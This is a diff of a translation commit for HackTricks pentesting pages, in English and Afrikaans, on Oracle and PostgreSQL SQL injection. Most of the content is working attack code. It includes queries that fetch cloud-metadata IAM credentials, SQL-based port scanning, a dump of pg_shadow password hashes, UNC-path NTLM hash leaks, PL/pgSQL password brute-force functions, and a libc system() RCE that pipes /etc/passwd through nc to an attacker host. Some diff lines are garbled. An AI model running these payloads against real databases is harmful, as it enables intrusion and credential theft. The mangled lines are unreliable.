EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
```
Interessant genoeg, as gevolg van die vermoë om rou TCP versoeke te vervaardig, kan hierdie pakket ook gebruik word om die Instansie meta-data diens van alle wolkverskaffers te ondervra, aangesien die metode tipe en addisionele koppe alles binne die TCP versoek oorgedra kan word.
Interestingly, due to the ability to craft raw TCP requests, this package can also be used to query the Instance meta-data service of all cloud providers as the method type and additional headers can all be passed within the TCP request.
**UTL_HTTP and Web Requests**
Perhaps the most common and widely documented technique in every Out of Band Oracle SQL Injection tutorial out there is the [`UTL_HTTP` package](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). This package is defined by the documentation as - `The UTL_HTTP package makes Hypertext Transfer Protocol (HTTP) callouts from SQL and PL/SQL. You can use it to access data on the Internet over HTTP.`
**UTL_HTTP en Web Versoeke**
Miskien is die mees algemene en wyd gedokumenteerde tegniek in elke Out of Band Oracle SQL Injection tutoriaal daar buite die [`UTL_HTTP` pakket](https://docs.oracle.com/database/121/ARPLS/u_http.htm#ARPLS070). Hierdie pakket word deur die dokumentasie gedefinieer as - `Die UTL_HTTP pakket maak Hypertext Transfer Protocol (HTTP) oproepe vanuit SQL en PL/SQL. Jy kan dit gebruik om toegang te verkry tot data op die Internet oor HTTP.`
```
select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;
```
You could additionally, use this to perform some rudimentary port scanning as well with queries like
U kan dit ook gebruik om 'n paar rudimentêre poortskandering uit te voer met vrae soos
```
select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;
```
'n `ORA-12541: TNS:no listener` of 'n `TNS:operation timed out` is 'n teken dat die TCP-poort gesluit is, terwyl 'n `ORA-29263: HTTP protocol error` of data 'n teken is dat die poort oop is.
A `ORA-12541: TNS:no listener` or a `TNS:operation timed out` is a sign that the TCP port is closed, whereas a `ORA-29263: HTTP protocol error` or data is a sign that the port is open.
Another package I have used in the past with varied success is the [`GETCLOB()` method of the `HTTPURITYPE` Oracle abstract type](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) that allows you to interact with a URL and provides support for the HTTP protocol. The `GETCLOB()` method is used to fetch the GET response from a URL as a [CLOB data type.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
'n Ander pakket wat ek in die verlede met verskillende sukses gebruik het, is die [`GETCLOB()` metode van die `HTTPURITYPE` Oracle abstrakte tipe](https://docs.oracle.com/database/121/ARPLS/t_dburi.htm#ARPLS71705) wat jou toelaat om met 'n URL te kommunikeer en ondersteuning bied vir die HTTP-protokol. Die `GETCLOB()` metode word gebruik om die GET-antwoord van 'n URL as 'n [CLOB datatipe.](https://docs.oracle.com/javadb/10.10.1.2/ref/rrefclob.html)[select HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() from dual;
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,71 +1,64 @@
# PostgreSQL injection
# PostgreSQL-inspuiting
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in 'n **hacking loopbaan** en om die onhackbare te hack - **ons is op soek na mense!** (_vloeiend in Pools, geskryf en gesproke, vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
---
**This page aims to explain different tricks that could help you to exploit a SQLinjection found in a postgresql database and to compliment the tricks you can find on** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
**Hierdie bladsy het ten doel om verskillende truuks te verduidelik wat jou kan help om 'n SQL-inspuiting in 'n postgresql-databasis te benut en om die truuks aan te vul wat jy kan vind op** [**https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md**](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md)
## Network Interaction - Privilege Escalation, Port Scanner, NTLM challenge response disclosure & Exfiltration
## Netwerkinteraksie - Privilege Escalation, Port Scanner, NTLM-uitdaging respons bekendmaking & Exfiltrasie
The **PostgreSQL module `dblink`** offers capabilities for connecting to other PostgreSQL instances and executing TCP connections. These features, combined with the `COPY FROM` functionality, enable actions like privilege escalation, port scanning, and NTLM challenge response capture. For detailed methods on executing these attacks check how to [perform these attacks](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
Die **PostgreSQL-module `dblink`** bied vermoëns om met ander PostgreSQL-instanties te verbind en TCP-verbindinge uit te voer. Hierdie funksies, gekombineer met die `COPY FROM` funksionaliteit, stel aksies soos privilege escalasie, poortskandering en NTLM-uitdaging respons vang in staat. Vir gedetailleerde metodes om hierdie aanvalle uit te voer, kyk hoe om [hierdie aanvalle uit te voer](network-privesc-port-scanner-and-ntlm-chanllenge-response-disclosure.md).
### **Exfiltration example using dblink and large objects**
### **Exfiltrasie voorbeeld met dblink en groot voorwerpe**
You can [**read this example**](dblink-lo_import-data-exfiltration.md) to see a CTF example of **how to load data inside large objects and then exfiltrate the content of large objects inside the username** of the function `dblink_connect`.
Jy kan [**hierdie voorbeeld lees**](dblink-lo_import-data-exfiltration.md) om 'n CTF-voorbeeld te sien van **hoe om data binne groot voorwerpe te laai en dan die inhoud van groot voorwerpe binne die gebruikersnaam** van die funksie `dblink_connect` te exfiltreer.
## PostgreSQL Attacks: Read/write, RCE, privesc
## PostgreSQL-aanvalle: Lees/skryf, RCE, privesc
Check how to compromise the host and escalate privileges from PostgreSQL in:
Kyk hoe om die gasheer te kompromitteer en voorregte van PostgreSQL te eskaleer in:
{{#ref}}
../../../network-services-pentesting/pentesting-postgresql.md
{{#endref}}
## WAF bypass
## WAF omseiling
### PostgreSQL String functions
### PostgreSQL String funksies
Manipulating strings could help you to **bypass WAFs or other restrictions**.\
[**In this page** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**you can find some useful Strings functions.**
Die manipulasie van strings kan jou help om **WAFs of ander beperkings te omseil**.\
[**Op hierdie bladsy** ](https://www.postgresqltutorial.com/postgresql-string-functions/)**kan jy nuttige String funksies vind.**
### Stacked Queries
Remember that postgresql support stacked queries, but several application will throw an error if 2 responses are returned when expecting just 1. But, you can still abuse the stacked queries via Time injection:
### Gestapelde vrae
Onthou dat postgresql gestapelde vrae ondersteun, maar verskeie toepassings sal 'n fout gooi as 2 antwoorde teruggestuur word wanneer net 1 verwag word. Maar, jy kan steeds die gestapelde vrae misbruik via Tydinspuiting:
```
id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -
```
### XML tricks
### XML truuks
**query_to_xml**
This function will return all the data in XML format in just one file. It's ideal if you want to dump a lot of data in just 1 row:
Hierdie funksie sal al die data in XML-formaat in net een lêer teruggee. Dit is ideaal as jy 'n groot hoeveelheid data in net 1 ry wil dump:
```sql
SELECT query_to_xml('select * from pg_user',true,true,'');
```
**database_to_xml**
This function will dump the whole database in XML format in just 1 row (be careful if the database is very big as you may DoS it or even your own client):
Hierdie funksie sal die hele databasis in XML-formaat in net 1 ry dump (wees versigtig as die databasis baie groot is, aangesien jy dit dalk kan DoS of selfs jou eie kliënt):
```sql
SELECT database_to_xml(true,true,'');
```
### Strings in Hex
If you can run **queries** passing them **inside a string** (for example using the **`query_to_xml`** function). **You can use the convert_from to pass the string as hex and bypass filters this way:**
As jy **navrae** kan uitvoer wat **binne 'n string** deurgegee word (byvoorbeeld deur die **`query_to_xml`** funksie te gebruik). **Jy kan die convert_from gebruik om die string as hex deur te gee en filters op hierdie manier te omseil:**
```sql
select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');
@ -75,28 +68,22 @@ select encode('select cast(string_agg(table_name, '','') as int) from informatio
# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -
```
### Verbode aanhalings
### Forbidden quotes
If cannot use quotes for your payload you could bypass this with `CHR` for basic clauses (_character concatenation only works for basic queries such as SELECT, INSERT, DELETE, etc. It does not work for all SQL statements_):
As jy nie aanhalings vir jou payload kan gebruik nie, kan jy dit omseil met `CHR` vir basiese clausules (_karakter-konkatenasie werk slegs vir basiese vrae soos SELECT, INSERT, DELETE, ens. Dit werk nie vir alle SQL-verklarings_):
```
SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);
```
Or with `$`. This queries return the same results:
Of met `$`. Hierdie vrae lewer dieselfde resultate:
```
SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;
```
<figure><img src="../../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
As jy belangstel in **hacking loopbaan** en om die onhackbare te hack - **ons huur aan!** (_vloeiend Pools geskryf en gesproke vereis_).
{% embed url="https://www.stmcyber.com/careers" %}
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,84 +1,65 @@
{{#include ../../../banners/hacktricks-training.md}}
### PostgreSQL Large Objects
### PostgreSQL Groot Voorwerpe
PostgreSQL offers a structure known as **large objects**, accessible via the `pg_largeobject` table, designed for storing large data types, such as images or PDF documents. This approach is advantageous over the `COPY TO` function as it enables the **exportation of data back to the file system**, ensuring an exact replica of the original file is maintained.
PostgreSQL bied 'n struktuur bekend as **groot voorwerpe**, toeganklik via die `pg_largeobject` tabel, ontwerp om groot datatipe te stoor, soos beelde of PDF-dokumente. Hierdie benadering is voordelig bo die `COPY TO` funksie aangesien dit die **uitvoer van data terug na die lêerstelsel** moontlik maak, wat verseker dat 'n presiese replika van die oorspronklike lêer gehandhaaf word.
For **storing a complete file** within this table, an object must be created in the `pg_largeobject` table (identified by a LOID), followed by the insertion of data chunks, each 2KB in size, into this object. It is crucial that these chunks are exactly 2KB in size (with the possible exception of the last chunk) to ensure the exporting function performs correctly.
To **divide your binary data** into 2KB chunks, the following commands can be executed:
Vir **die stoor van 'n volledige lêer** binne hierdie tabel, moet 'n voorwerp in die `pg_largeobject` tabel geskep word (geïdentifiseer deur 'n LOID), gevolg deur die invoeging van datastukke, elk 2KB in grootte, in hierdie voorwerp. Dit is van kardinale belang dat hierdie stukke presies 2KB in grootte is (met die moontlike uitsondering van die laaste stuk) om te verseker dat die uitvoerfunksie korrek werk.
Om **jou binêre data** in 2KB stukke te verdeel, kan die volgende opdragte uitgevoer word:
```bash
split -b 2048 your_file # Creates 2KB sized files
```
For encoding each file into Base64 or Hex, the commands below can be used:
Vir die kodering van elke lêer in Base64 of Hex, kan die onderstaande opdragte gebruik word:
```bash
base64 -w 0 <Chunk_file> # Encodes in Base64 in one line
xxd -ps -c 99999999999 <Chunk_file> # Encodes in Hex in one line
```
**Belangrik**: Wanneer jy hierdie proses outomatiseer, verseker dat jy stukke van 2KB van duidelike teks bytes stuur. Hex-gecodeerde lêers sal 4KB data per stuk vereis weens die verdubbeling in grootte, terwyl Base64-gecodeerde lêers die formule `ceil(n / 3) * 4` volg.
**Important**: When automating this process, ensure to send chunks of 2KB of clear-text bytes. Hex encoded files will require 4KB of data per chunk due to doubling in size, while Base64 encoded files follow the formula `ceil(n / 3) * 4`.
The contents of the large objects can be viewed for debugging purposes using:
Die inhoud van die groot voorwerpe kan vir foutopsporing doeleindes besigtig word met:
```sql
select loid, pageno, encode(data, 'escape') from pg_largeobject;
```
#### Gebruik `lo_creat` & Base64
#### Using `lo_creat` & Base64
To store binary data, a LOID is first created:
Om binêre data te stoor, word 'n LOID eers geskep:
```sql
SELECT lo_creat(-1); -- Creates a new, empty large object
SELECT lo_create(173454); -- Attempts to create a large object with a specific OID
```
In situasies wat presiese beheer vereis, soos om 'n Blind SQL Injection te benut, word `lo_create` verkies om 'n vaste LOID te spesifiseer.
In situations requiring precise control, such as exploiting a Blind SQL Injection, `lo_create` is preferred for specifying a fixed LOID.
Data chunks can then be inserted as follows:
Data stukke kan dan soos volg ingevoeg word:
```sql
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 0, decode('<B64 chunk1>', 'base64'));
INSERT INTO pg_largeobject (loid, pageno, data) VALUES (173454, 1, decode('<B64 chunk2>', 'base64'));
```
To export and potentially delete the large object after use:
Om die groot objek na gebruik te voer en moontlik te verwyder:
```sql
SELECT lo_export(173454, '/tmp/your_file');
SELECT lo_unlink(173454); -- Deletes the specified large object
```
#### Gebruik `lo_import` & Hex
#### Using `lo_import` & Hex
The `lo_import` function can be utilized to create and specify a LOID for a large object:
Die `lo_import` funksie kan gebruik word om 'n LOID vir 'n groot objek te skep en te spesifiseer:
```sql
select lo_import('/path/to/file');
select lo_import('/path/to/file', 173454);
```
Following object creation, data is inserted per page, ensuring each chunk does not exceed 2KB:
Na die skep van die objek, word data per bladsy ingevoeg, wat verseker dat elke stuk nie 2KB oorskry nie:
```sql
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=0;
update pg_largeobject set data=decode('<HEX>', 'hex') where loid=173454 and pageno=1;
```
To complete the process, the data is exported and the large object is deleted:
Om die proses te voltooi, word die data uitgevoer en die groot objek verwyder:
```sql
select lo_export(173454, '/path/to/your_file');
select lo_unlink(173454); -- Deletes the specified large object
```
### Beperkings
### Limitations
It's noted that **large objects may have ACLs** (Access Control Lists), potentially restricting access even to objects created by your user. However, older objects with permissive ACLs may still be accessible for content exfiltration.
Daar word opgemerk dat **groot voorwerpe ACL's** (Toegangsbeheerlisensies) mag hê, wat moontlik toegang beperk selfs tot voorwerpe wat deur jou gebruiker geskep is. egter, ouer voorwerpe met toegeeflike ACL's mag steeds toeganklik wees vir inhoudsuitvoer.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,10 +1,9 @@
# dblink/lo_import data exfiltration
# dblink/lo_import data exfiltrasie
{{#include ../../../banners/hacktricks-training.md}}
**This is an example of how to exfiltrate data loading files in the database with `lo_import` and exfiltrate them using `dblink_connect`.**
**Dit is 'n voorbeeld van hoe om data te exfiltreer deur lêers in die databasis te laai met `lo_import` en dit te exfiltreer met `dblink_connect`.**
**Check the solution from:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
**Kontroleer die oplossing vanaf:** [**https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md**](https://github.com/PDKT-Team/ctf/blob/master/fbctf2019/hr-admin-module/README.md)
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,70 +1,61 @@
# Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
# Netwerk - Privesc, Port Scanner en NTLM uitdaging respons openbaarmaking
{{#include ../../../banners/hacktricks-training.md}}
**Find** [**more information about these attacks in the original paper**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Since **PostgreSQL 9.1**, installation of additional modules is simple. [Registered extensions like `dblink`](https://www.postgresql.org/docs/current/contrib.html) can be installed with [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
**Vind** [**meer inligting oor hierdie aanvalle in die oorspronklike dokument**](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt).
Sedert **PostgreSQL 9.1** is die installasie van addisionele modules eenvoudig. [Geregistreerde uitbreidings soos `dblink`](https://www.postgresql.org/docs/current/contrib.html) kan geïnstalleer word met [`CREATE EXTENSION`](https://www.postgresql.org/docs/current/sql-createextension.html):
```sql
CREATE EXTENSION dblink;
```
Once you have dblink loaded you could be able to perform some interesting tricks:
Sodra jy dblink gelaai het, kan jy 'n paar interessante truuks uitvoer:
### Privilege Escalation
The file `pg_hba.conf` could be bad configured **allowing connections** from **localhost as any user** without needing to know the password. This file could be typically found in `/etc/postgresql/12/main/pg_hba.conf` and a bad configuration looks like:
Die lêer `pg_hba.conf` kan sleg geconfigureer wees **wat verbindings** vanaf **localhost as enige gebruiker** toelaat sonder om die wagwoord te ken. Hierdie lêer kan tipies gevind word in `/etc/postgresql/12/main/pg_hba.conf` en 'n slegte konfigurasie lyk soos:
```
local all all trust
```
_Note dat hierdie konfigurasie algemeen gebruik word om die wagwoord van 'n db-gebruiker te verander wanneer die admin dit vergeet, so soms mag jy dit vind._\
&#xNAN;_&#x4E;ote ook dat die lêer pg_hba.conf slegs deur die postgres-gebruiker en -groep gelees kan word en slegs deur die postgres-gebruiker geskryf kan word._
_Note that this configuration is commonly used to modify the password of a db user when the admin forget it, so sometimes you may find it._\
&#xNAN;_&#x4E;ote also that the file pg_hba.conf is readable only by postgres user and group and writable only by postgres user._
This case is **useful if** you **already** have a **shell** inside the victim as it will allow you to connect to postgresql database.
Another possible misconfiguration consist on something like this:
Hierdie geval is **nuttig as** jy **reeds** 'n **shell** binne die slagoffer het, aangesien dit jou sal toelaat om met die postgresql-databasis te verbind.
'n Ander moontlike miskonfigurasie bestaan uit iets soos hierdie:
```
host all all 127.0.0.1/32 trust
```
As it will allow everybody from the localhost to connect to the database as any user.\
In this case and if the **`dblink`** function is **working**, you could **escalate privileges** by connecting to the database through an already established connection and access data shouldn't be able to access:
Aangesien dit almal van die localhost sal toelaat om as enige gebruiker met die databasis te verbind.\
In hierdie geval en as die **`dblink`** funksie **werk**, kan jy **privileges verhoog** deur met die databasis te verbind via 'n reeds gevestigde verbinding en toegang te verkry tot data wat nie toegang behoort te hê nie:
```sql
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
user=postgres
dbname=postgres',
'SELECT datname FROM pg_database')
RETURNS (result TEXT);
SELECT * FROM dblink('host=127.0.0.1
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
user=postgres
dbname=postgres',
'select usename, passwd from pg_shadow')
RETURNS (result1 TEXT, result2 TEXT);
```
### Port Scanning
Abusing `dblink_connect` you could also **search open ports**. If that \*\*function doesn't work you should try to use `dblink_connect_u()` as the documentation says that `dblink_connect_u()` is identical to `dblink_connect()`, except that it will allow non-superusers to connect using any authentication method\_.
Deur `dblink_connect` te misbruik kan jy ook **oop poorte soek**. As daardie \*\*funksie nie werk nie, moet jy probeer om `dblink_connect_u()` te gebruik, aangesien die dokumentasie sê dat `dblink_connect_u()` identies is aan `dblink_connect()`, behalwe dat dit nie-supergebruikers toelaat om te verbind met enige autentikasie metode\_.
```sql
SELECT * FROM dblink_connect('host=216.58.212.238
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
port=443
user=name
password=secret
dbname=abc
connect_timeout=10');
//Different response
// Port closed
RROR: could not establish connection
DETAIL: could not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 4444?
// Port Filtered/Timeout
ERROR: could not establish connection
@ -78,15 +69,11 @@ DETAIL: timeout expired
ERROR: could not establish connection
DETAIL: received invalid response to SSL negotiation:
```
Note that **before** being able to use `dblink_connect` or `dblink_connect_u` you may need to execute:
Let daarop dat **voor** jy in staat is om `dblink_connect` of `dblink_connect_u` te gebruik, jy dalk moet uitvoer:
```
CREATE extension dblink;
```
### UNC path - NTLM hash disclosure
### UNC pad - NTLM hash openbaarmaking
```sql
-- can be used to leak hashes to Responder/equivalent
CREATE TABLE test();
@ -107,6 +94,4 @@ END;
$$ LANGUAGE plpgsql SECURITY DEFINER;
SELECT testfunc();
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,122 +1,109 @@
# PL/pgSQL Password Bruteforce
# PL/pgSQL Wachtwoord Bruteforce
{{#include ../../../banners/hacktricks-training.md}}
**Find [more information about these attack in the original paper](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
**Vind [meer inligting oor hierdie aanval in die oorspronklike dokument](http://www.leidecker.info/pgshell/Having_Fun_With_PostgreSQL.txt)**.
PL/pgSQL is a **fully featured programming language** that extends beyond the capabilities of SQL by offering **enhanced procedural control**. This includes the utilization of loops and various control structures. Functions crafted in the PL/pgSQL language can be invoked by SQL statements and triggers, broadening the scope of operations within the database environment.
You can abuse this language in order to ask PostgreSQL to brute-force the users credentials, but it must exist on the database. You can verify it's existence using:
PL/pgSQL is 'n **volledig funksionele programmeertaal** wat verder gaan as die vermoëns van SQL deur **verbeterde prosedurele beheer** aan te bied. Dit sluit die gebruik van lusse en verskeie beheersistrukture in. Funksies wat in die PL/pgSQL-taal geskep is, kan deur SQL-verklarings en triggers aangeroep word, wat die omvang van operasies binne die databasisomgewing verbreed.
Jy kan hierdie taal misbruik om PostgreSQL te vra om die gebruikers se akrediteer te brute-force, maar dit moet op die databasis bestaan. Jy kan die bestaan daarvan verifieer met:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+---------
plpgsql |
lanname | lanacl
---------+---------
plpgsql |
```
By default, **creating functions is a privilege granted to PUBLIC**, where PUBLIC refers to every user on that database system. To prevent this, the administrator could have had to revoke the USAGE privilege from the PUBLIC domain:
Deur die standaard is **die skep van funksies 'n voorreg wat aan PUBLIC toegeken word**, waar PUBLIC na elke gebruiker op daardie databasisstelsel verwys. Om dit te voorkom, kon die administrateur die USAGE-voorreg uit die PUBLIC-domein herroep het:
```sql
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
```
In that case, our previous query would output different results:
In daardie geval, sou ons vorige navraag verskillende resultate lewer:
```sql
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
lanname | lanacl
---------+-----------------
plpgsql | {admin=U/admin}
```
Note that for the following script to work **the function `dblink` needs to exist**. If it doesn't you could try to create it with&#x20;
Let daarop dat vir die volgende skrip om te werk **die funksie `dblink` moet bestaan**. As dit nie bestaan nie, kan jy probeer om dit te skep met&#x20;
```sql
CREATE EXTENSION dblink;
```
## Wagwoord Brute Force
## Password Brute Force
Here how you could perform a 4 chars password bruteforce:
Hier is hoe jy 'n 4 karakters wagwoord brute force kan uitvoer:
```sql
//Create the brute-force function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
DECLARE
word TEXT;
word TEXT;
BEGIN
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
FOR a IN 65..122 LOOP
FOR b IN 65..122 LOOP
FOR c IN 65..122 LOOP
FOR d IN 65..122 LOOP
BEGIN
word := chr(a) || chr(b) || chr(c) || chr(d);
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection
THEN
-- do nothing
END;
END LOOP;
END LOOP;
END LOOP;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql';
//Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
_Noot dat selfs die brute-forcing van 4 karakters 'n paar minute kan neem._
_Note that even brute-forcing 4 characters may take several minutes._
You could also **download a wordlist** and try only those passwords (dictionary attack):
Jy kan ook **'n woordlys aflaai** en slegs daardie wagwoorde probeer (woordeboekaanval):
```sql
//Create the function
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
username TEXT, dbname TEXT) RETURNS TEXT AS
username TEXT, dbname TEXT) RETURNS TEXT AS
$$
BEGIN
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
FOR word IN (SELECT word FROM dblink('host=1.2.3.4
user=name
password=qwerty
dbname=wordlists',
'SELECT word FROM wordlist')
RETURNS (word TEXT)) LOOP
BEGIN
PERFORM(SELECT * FROM dblink(' host=' || host ||
' port=' || port ||
' dbname=' || dbname ||
' user=' || username ||
' password=' || word,
'SELECT 1')
RETURNS (i INT));
RETURN word;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
EXCEPTION
WHEN sqlclient_unable_to_establish_sqlconnection THEN
-- do nothing
END;
END LOOP;
RETURN NULL;
END;
$$ LANGUAGE 'plpgsql'
-- Call the function
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -1,21 +1,20 @@
# RCE with PostgreSQL Extensions
# RCE met PostgreSQL Uitbreidings
{{#include ../../../banners/hacktricks-training.md}}
## PostgreSQL Extensions
## PostgreSQL Uitbreidings
PostgreSQL has been developed with extensibility as a core feature, allowing it to seamlessly integrate extensions as if they were built-in functionalities. These extensions, essentially libraries written in C, enrich the database with additional functions, operators, or types.
PostgreSQL is ontwikkel met uitbreidbaarheid as 'n kernfunksie, wat dit toelaat om uitbreidings naatloos te integreer asof dit ingeboude funksies is. Hierdie uitbreidings, wat essensieel biblioteke in C geskryf is, verryk die databasis met bykomende funksies, operateurs of tipes.
From version 8.1 onwards, a specific requirement is imposed on the extension libraries: they must be compiled with a special header. Without this, PostgreSQL will not execute them, ensuring only compatible and potentially secure extensions are used.
Vanaf weergawe 8.1 is 'n spesifieke vereiste op die uitbreidingsbiblioteke opgelê: hulle moet saamgekompileer word met 'n spesiale kop. Sonder dit sal PostgreSQL hulle nie uitvoer nie, wat verseker dat slegs kompatible en potensieel veilige uitbreidings gebruik word.
Also, keep in mind that **if you don't know how to** [**upload files to the victim abusing PostgreSQL you should read this post.**](big-binary-files-upload-postgresql.md)
Hou ook in gedagte dat **as jy nie weet hoe om nie** [**lêers na die slagoffer op te laai deur PostgreSQL te misbruik nie, moet jy hierdie pos lees.**](big-binary-files-upload-postgresql.md)
### RCE in Linux
**For more information check: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
The execution of system commands from PostgreSQL 8.1 and earlier versions is a process that has been clearly documented and is straightforward. It's possible to use this: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload).
**Vir meer inligting, kyk: [https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/](https://www.dionach.com/blog/postgresql-9-x-remote-command-execution/)**
Die uitvoering van stelselskommando's vanaf PostgreSQL 8.1 en vroeëre weergawes is 'n proses wat duidelik gedokumenteer is en eenvoudig is. Dit is moontlik om hierdie: [Metasploit module](https://www.rapid7.com/db/modules/exploit/linux/postgres/postgres_payload) te gebruik.
```sql
CREATE OR REPLACE FUNCTION system (cstring) RETURNS integer AS '/lib/x86_64-linux-gnu/libc.so.6', 'system' LANGUAGE 'c' STRICT;
SELECT system('cat /etc/passwd | nc <attacker IP> <attacker port>');
@ -25,89 +24,79 @@ CREATE OR REPLACE FUNCTION open(cstring, int, int) RETURNS int AS '/lib/libc.so.
CREATE OR REPLACE FUNCTION write(int, cstring, int) RETURNS int AS '/lib/libc.so.6', 'write' LANGUAGE 'C' STRICT;
CREATE OR REPLACE FUNCTION close(int) RETURNS int AS '/lib/libc.so.6', 'close' LANGUAGE 'C' STRICT;
```
<details>
<summary>Write binary file from base64</summary>
To write a binary into a file in postgres you might need to use base64, this will be helpful for that matter:
<summary>Skryf binêre lêer vanaf base64</summary>
Om 'n binêre lêer in postgres te skryf, mag jy base64 moet gebruik, dit sal nuttig wees vir daardie saak:
```sql
CREATE OR REPLACE FUNCTION write_to_file(file TEXT, s TEXT) RETURNS int AS
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
$$
DECLARE
fh int;
s int;
w bytea;
i int;
BEGIN
SELECT open(textout(file)::cstring, 522, 448) INTO fh;
